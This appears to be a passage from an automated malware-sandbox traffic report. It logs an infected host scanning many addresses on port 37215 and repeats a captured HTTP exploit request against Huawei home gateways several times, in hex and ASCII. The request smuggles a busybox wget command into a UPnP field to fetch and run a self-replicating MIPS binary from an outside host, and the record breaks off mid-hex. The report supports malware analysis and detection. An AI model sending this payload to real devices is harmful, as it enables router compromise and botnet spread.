Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.87.252.212:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.19.116.133:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.135.66.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.219.37.41:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.64.99.121:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.67.78.250:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.183.57.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.80.56.189:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.253.125.74:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.236.139.216:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.237.31.171:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.120.125.32:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.119.51.57:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.252.41.135:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.139.14.53:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.165.81.69:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.215.156.15:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.86.254.249:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.153.117.186:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.212.224.243:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.44.175.51:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.244.169.134:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.75.214.93:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.156.155.55:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.78.196.170:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.56.179.35:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.238.121.82:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.18.191.106:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.44.103.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.215.129.12:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.204.5.183:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.116.56.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.201.228.37:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 197.221.110.13:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.28.117.10:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.75.234.209:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.62.3.144:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.182.222.95:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.44.105.42:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 156.121.128.39:37215
Source: global traffic	TCP traffic: 192.168.2.23:14256 -> 41.251.196.10:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 36 33 2e 31 31 33 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.63.113 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 